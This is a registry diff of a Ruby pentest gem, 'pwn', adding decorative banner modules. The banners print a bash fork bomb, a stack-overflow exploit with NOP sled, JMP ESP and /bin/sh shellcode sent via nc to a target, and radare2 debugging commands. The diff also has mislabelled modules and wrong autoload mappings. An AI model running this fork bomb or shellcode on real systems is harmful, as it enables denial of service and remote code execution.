pwn 0.4.978 → 0.4.979
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/README.md +3 -3
- data/lib/pwn/banner/fork_bomb.rb +37 -0
- data/lib/pwn/banner/jmp_esp.rb +44 -0
- data/lib/pwn/banner/ninja.rb +1 -0
- data/lib/pwn/banner/radare2.rb +47 -0
- data/lib/pwn/banner.rb +16 -6
- data/lib/pwn/version.rb +1 -1
- data/spec/lib/pwn/banner/fork_bomb_spec.rb +20 -0
- data/spec/lib/pwn/banner/jmp_esp_spec.rb +20 -0
- data/spec/lib/pwn/banner/radare2_spec.rb +20 -0
- metadata +8 -2
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: d6be3d8ce2ef96735c1b189bda8ecb148da355b2f0ca4c895451549b0c7b15ca
|
4
|
+
data.tar.gz: 2614c4d5770efe6ae5ed4c83b2d031e0296ddab7103c03c8b6d1335f54addfa0
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: e7b7e5a924ec334c7e54599fd353192fc9a3bc96e2d4ddabe324f716900a5add8ff05f8dc571aff900440d3366170ae361b963a7e52f75ddfb6062711f77a400
|
7
|
+
data.tar.gz: 7cddef4391be9b9d0387fac77a07a89a2cb90c8ee3f0bef9bb8decd4c987eb365fe6dc89167de31b3703c041df8ae65c8d5df3074ef15d7af3f583f0d0ea5be3
|
data/README.md
CHANGED
@@ -37,7 +37,7 @@ $ cd /opt/pwn
|
|
37
37
|
$ ./install.sh
|
38
38
|
$ ./install.sh ruby-gem
|
39
39
|
$ pwn
|
40
|
-
pwn[v0.4.
|
40
|
+
pwn[v0.4.979]:001 >>> PWN.help
|
41
41
|
```
|
42
42
|
|
43
43
|
[](https://youtu.be/G7iLUY4FzsI)
|
@@ -52,7 +52,7 @@ $ rvm use ruby-3.3.0@pwn
|
|
52
52
|
$ gem uninstall --all --executables pwn
|
53
53
|
$ gem install --verbose pwn
|
54
54
|
$ pwn
|
55
|
-
pwn[v0.4.
|
55
|
+
pwn[v0.4.979]:001 >>> PWN.help
|
56
56
|
```
|
57
57
|
|
58
58
|
If you're using a multi-user install of RVM do:
|
@@ -62,7 +62,7 @@ $ rvm use ruby-3.3.0@pwn
|
|
62
62
|
$ rvmsudo gem uninstall --all --executables pwn
|
63
63
|
$ rvmsudo gem install --verbose pwn
|
64
64
|
$ pwn
|
65
|
-
pwn[v0.4.
|
65
|
+
pwn[v0.4.979]:001 >>> PWN.help
|
66
66
|
```
|
67
67
|
|
68
68
|
PWN periodically upgrades to the latest version of Ruby which is reflected in `/opt/pwn/.ruby-version`. The easiest way to upgrade to the latest version of Ruby from a previous PWN installation is to run the following script:
|
@@ -0,0 +1,37 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
require 'colorize'
|
4
|
+
|
5
|
+
module PWN
|
6
|
+
module Banner
|
7
|
+
# This plugin processes images into readable text
|
8
|
+
module JmpEsp
|
9
|
+
# Supported Method Parameters::
|
10
|
+
# PWN::Banner::JmpEsp.get
|
11
|
+
|
12
|
+
public_class_method def self.get
|
13
|
+
'$ pwn() { pwn | pwn & }; pwn'.blue
|
14
|
+
rescue StandardError => e
|
15
|
+
raise e
|
16
|
+
end
|
17
|
+
|
18
|
+
# Author(s):: 0day Inc. <request.pentest@0dayinc.com>
|
19
|
+
|
20
|
+
public_class_method def self.authors
|
21
|
+
"AUTHOR(S):
|
22
|
+
0day Inc. <request.pentest@0dayinc.com>
|
23
|
+
"
|
24
|
+
end
|
25
|
+
|
26
|
+
# Display Usage for this Module
|
27
|
+
|
28
|
+
public_class_method def self.help
|
29
|
+
puts "USAGE:
|
30
|
+
#{self}.get
|
31
|
+
|
32
|
+
#{self}.authors
|
33
|
+
"
|
34
|
+
end
|
35
|
+
end
|
36
|
+
end
|
37
|
+
end
|
@@ -0,0 +1,44 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
require 'colorize'
|
4
|
+
|
5
|
+
module PWN
|
6
|
+
module Banner
|
7
|
+
# This plugin processes images into readable text
|
8
|
+
module JmpEsp
|
9
|
+
# Supported Method Parameters::
|
10
|
+
# PWN::Banner::JmpEsp.get
|
11
|
+
|
12
|
+
public_class_method def self.get
|
13
|
+
'
|
14
|
+
#!/bin/bash
|
15
|
+
nop=$(printf \'\x90%.0s\' {1..1337})
|
16
|
+
asm_ops=\'\xff\xe4\'
|
17
|
+
payload=\'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb8\x0b\x00\x00\x00\xcd\x80\'
|
18
|
+
pwn="${nop}${asm_ops}${payload}"
|
19
|
+
echo -en $pwn | nc $TARGET $PORT
|
20
|
+
'.red
|
21
|
+
rescue StandardError => e
|
22
|
+
raise e
|
23
|
+
end
|
24
|
+
|
25
|
+
# Author(s):: 0day Inc. <request.pentest@0dayinc.com>
|
26
|
+
|
27
|
+
public_class_method def self.authors
|
28
|
+
"AUTHOR(S):
|
29
|
+
0day Inc. <request.pentest@0dayinc.com>
|
30
|
+
"
|
31
|
+
end
|
32
|
+
|
33
|
+
# Display Usage for this Module
|
34
|
+
|
35
|
+
public_class_method def self.help
|
36
|
+
puts "USAGE:
|
37
|
+
#{self}.get
|
38
|
+
|
39
|
+
#{self}.authors
|
40
|
+
"
|
41
|
+
end
|
42
|
+
end
|
43
|
+
end
|
44
|
+
end
|
data/lib/pwn/banner/ninja.rb
CHANGED
@@ -0,0 +1,47 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
require 'colorize'
|
4
|
+
|
5
|
+
module PWN
|
6
|
+
module Banner
|
7
|
+
# This plugin processes images into readable text
|
8
|
+
module Radare2
|
9
|
+
# Supported Method Parameters::
|
10
|
+
# PWN::Banner::Radare2.get
|
11
|
+
|
12
|
+
public_class_method def self.get
|
13
|
+
'
|
14
|
+
$ sudo r2 -d `pidof ${TARGET_BINARY}`
|
15
|
+
[0x7f000070776e]> aaaa
|
16
|
+
[0x7f000070776e]> ia ~..
|
17
|
+
[0x7f000070776e]> afl ~..
|
18
|
+
[0x7f000070776e]> db main
|
19
|
+
[0x7f000070776e]> db
|
20
|
+
[0x7f000070776e]> dc
|
21
|
+
[0x7f000070776e]> pdg
|
22
|
+
[0x7f000070776e]> v
|
23
|
+
'.yellow
|
24
|
+
rescue StandardError => e
|
25
|
+
raise e
|
26
|
+
end
|
27
|
+
|
28
|
+
# Author(s):: 0day Inc. <request.pentest@0dayinc.com>
|
29
|
+
|
30
|
+
public_class_method def self.authors
|
31
|
+
"AUTHOR(S):
|
32
|
+
0day Inc. <request.pentest@0dayinc.com>
|
33
|
+
"
|
34
|
+
end
|
35
|
+
|
36
|
+
# Display Usage for this Module
|
37
|
+
|
38
|
+
public_class_method def self.help
|
39
|
+
puts "USAGE:
|
40
|
+
#{self}.get
|
41
|
+
|
42
|
+
#{self}.authors
|
43
|
+
"
|
44
|
+
end
|
45
|
+
end
|
46
|
+
end
|
47
|
+
end
|
data/lib/pwn/banner.rb
CHANGED
@@ -10,10 +10,14 @@ module PWN
|
|
10
10
|
autoload :Cheshire, 'pwn/banner/cheshire'
|
11
11
|
autoload :DontPanic, 'pwn/banner/dont_panic'
|
12
12
|
autoload :FSociety, 'pwn/banner/f_society'
|
13
|
+
autoload :JmpEsp, 'pwn/banner/jmp_esp'
|
14
|
+
autoload :ForkBomb, 'pwn/banner/fork_bomb'
|
15
|
+
autoload :FSociety, 'pwn/banner/jmp_esp'
|
13
16
|
autoload :Matrix, 'pwn/banner/matrix'
|
14
17
|
autoload :Ninja, 'pwn/banner/ninja'
|
15
18
|
autoload :OffTheAir, 'pwn/banner/off_the_air'
|
16
19
|
autoload :Pirate, 'pwn/banner/pirate'
|
20
|
+
autoload :Pirate, 'pwn/banner/radare2'
|
17
21
|
autoload :WhiteRabbit, 'pwn/banner/white_rabbit'
|
18
22
|
|
19
23
|
# Supported Method Parameters::
|
@@ -23,7 +27,7 @@ module PWN
|
|
23
27
|
|
24
28
|
public_class_method def self.get(opts = {})
|
25
29
|
index = opts[:index].to_i
|
26
|
-
index = Random.rand(1..
|
30
|
+
index = Random.rand(1..12) unless index.positive?
|
27
31
|
|
28
32
|
banner = ''
|
29
33
|
case index
|
@@ -36,16 +40,22 @@ module PWN
|
|
36
40
|
when 4
|
37
41
|
banner = PWN::Banner::DontPanic.get
|
38
42
|
when 5
|
39
|
-
banner = PWN::Banner::
|
43
|
+
banner = PWN::Banner::ForkBomb.get
|
40
44
|
when 6
|
41
|
-
banner = PWN::Banner::
|
45
|
+
banner = PWN::Banner::FSociety.get
|
42
46
|
when 7
|
43
|
-
banner = PWN::Banner::
|
47
|
+
banner = PWN::Banner::JmpEsp.get
|
44
48
|
when 8
|
45
|
-
banner = PWN::Banner::
|
49
|
+
banner = PWN::Banner::Matrix.get
|
46
50
|
when 9
|
47
|
-
banner = PWN::Banner::
|
51
|
+
banner = PWN::Banner::Ninja.get
|
48
52
|
when 10
|
53
|
+
banner = PWN::Banner::OffTheAir.get
|
54
|
+
when 11
|
55
|
+
banner = PWN::Banner::Pirate.get
|
56
|
+
when 12
|
57
|
+
banner = PWN::Banner::Radare2.get
|
58
|
+
when 13
|
49
59
|
banner = PWN::Banner::WhiteRabbit.get
|
50
60
|
else
|
51
61
|
raise 'Invalid Index.'
|
data/lib/pwn/version.rb
CHANGED
@@ -0,0 +1,20 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
require 'spec_helper'
|
4
|
+
|
5
|
+
describe PWN::Banner::ForkBomb do
|
6
|
+
it 'should cointain a method for banner retrieval' do
|
7
|
+
get_response = PWN::Banner::ForkBomb
|
8
|
+
expect(get_response).to respond_to :get
|
9
|
+
end
|
10
|
+
|
11
|
+
it 'should display information for authors' do
|
12
|
+
authors_response = PWN::Banner::ForkBomb
|
13
|
+
expect(authors_response).to respond_to :authors
|
14
|
+
end
|
15
|
+
|
16
|
+
it 'should display information for existing help method' do
|
17
|
+
help_response = PWN::Banner::ForkBomb
|
18
|
+
expect(help_response).to respond_to :help
|
19
|
+
end
|
20
|
+
end
|
@@ -0,0 +1,20 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
require 'spec_helper'
|
4
|
+
|
5
|
+
describe PWN::Banner::JmpEsp do
|
6
|
+
it 'should cointain a method for banner retrieval' do
|
7
|
+
get_response = PWN::Banner::JmpEsp
|
8
|
+
expect(get_response).to respond_to :get
|
9
|
+
end
|
10
|
+
|
11
|
+
it 'should display information for authors' do
|
12
|
+
authors_response = PWN::Banner::JmpEsp
|
13
|
+
expect(authors_response).to respond_to :authors
|
14
|
+
end
|
15
|
+
|
16
|
+
it 'should display information for existing help method' do
|
17
|
+
help_response = PWN::Banner::JmpEsp
|
18
|
+
expect(help_response).to respond_to :help
|
19
|
+
end
|
20
|
+
end
|
@@ -0,0 +1,20 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
require 'spec_helper'
|
4
|
+
|
5
|
+
describe PWN::Banner::Radare2 do
|
6
|
+
it 'should cointain a method for banner retrieval' do
|
7
|
+
get_response = PWN::Banner::Radare2
|
8
|
+
expect(get_response).to respond_to :get
|
9
|
+
end
|
10
|
+
|
11
|
+
it 'should display information for authors' do
|
12
|
+
authors_response = PWN::Banner::Radare2
|
13
|
+
expect(authors_response).to respond_to :authors
|
14
|
+
end
|
15
|
+
|
16
|
+
it 'should display information for existing help method' do
|
17
|
+
help_response = PWN::Banner::Radare2
|
18
|
+
expect(help_response).to respond_to :help
|
19
|
+
end
|
20
|
+
end
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: pwn
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.4.
|
4
|
+
version: 0.4.979
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- 0day Inc.
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2024-01-
|
11
|
+
date: 2024-01-22 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: activesupport
|
@@ -1708,10 +1708,13 @@ files:
|
|
1708
1708
|
- lib/pwn/banner/cheshire.rb
|
1709
1709
|
- lib/pwn/banner/dont_panic.rb
|
1710
1710
|
- lib/pwn/banner/f_society.rb
|
1711
|
+
- lib/pwn/banner/fork_bomb.rb
|
1712
|
+
- lib/pwn/banner/jmp_esp.rb
|
1711
1713
|
- lib/pwn/banner/matrix.rb
|
1712
1714
|
- lib/pwn/banner/ninja.rb
|
1713
1715
|
- lib/pwn/banner/off_the_air.rb
|
1714
1716
|
- lib/pwn/banner/pirate.rb
|
1717
|
+
- lib/pwn/banner/radare2.rb
|
1715
1718
|
- lib/pwn/banner/white_rabbit.rb
|
1716
1719
|
- lib/pwn/ffi.rb
|
1717
1720
|
- lib/pwn/plugins.rb
|
@@ -2028,10 +2031,13 @@ files:
|
|
2028
2031
|
- spec/lib/pwn/banner/cheshire_spec.rb
|
2029
2032
|
- spec/lib/pwn/banner/dont_panic_spec.rb
|
2030
2033
|
- spec/lib/pwn/banner/f_society_spec.rb
|
2034
|
+
- spec/lib/pwn/banner/fork_bomb_spec.rb
|
2035
|
+
- spec/lib/pwn/banner/jmp_esp_spec.rb
|
2031
2036
|
- spec/lib/pwn/banner/matrix_spec.rb
|
2032
2037
|
- spec/lib/pwn/banner/ninja_spec.rb
|
2033
2038
|
- spec/lib/pwn/banner/off_the_air_spec.rb
|
2034
2039
|
- spec/lib/pwn/banner/pirate_spec.rb
|
2040
|
+
- spec/lib/pwn/banner/radare2_spec.rb
|
2035
2041
|
- spec/lib/pwn/banner/white_rabbit_spec.rb
|
2036
2042
|
- spec/lib/pwn/banner_spec.rb
|
2037
2043
|
- spec/lib/pwn/ffi_spec.rb
|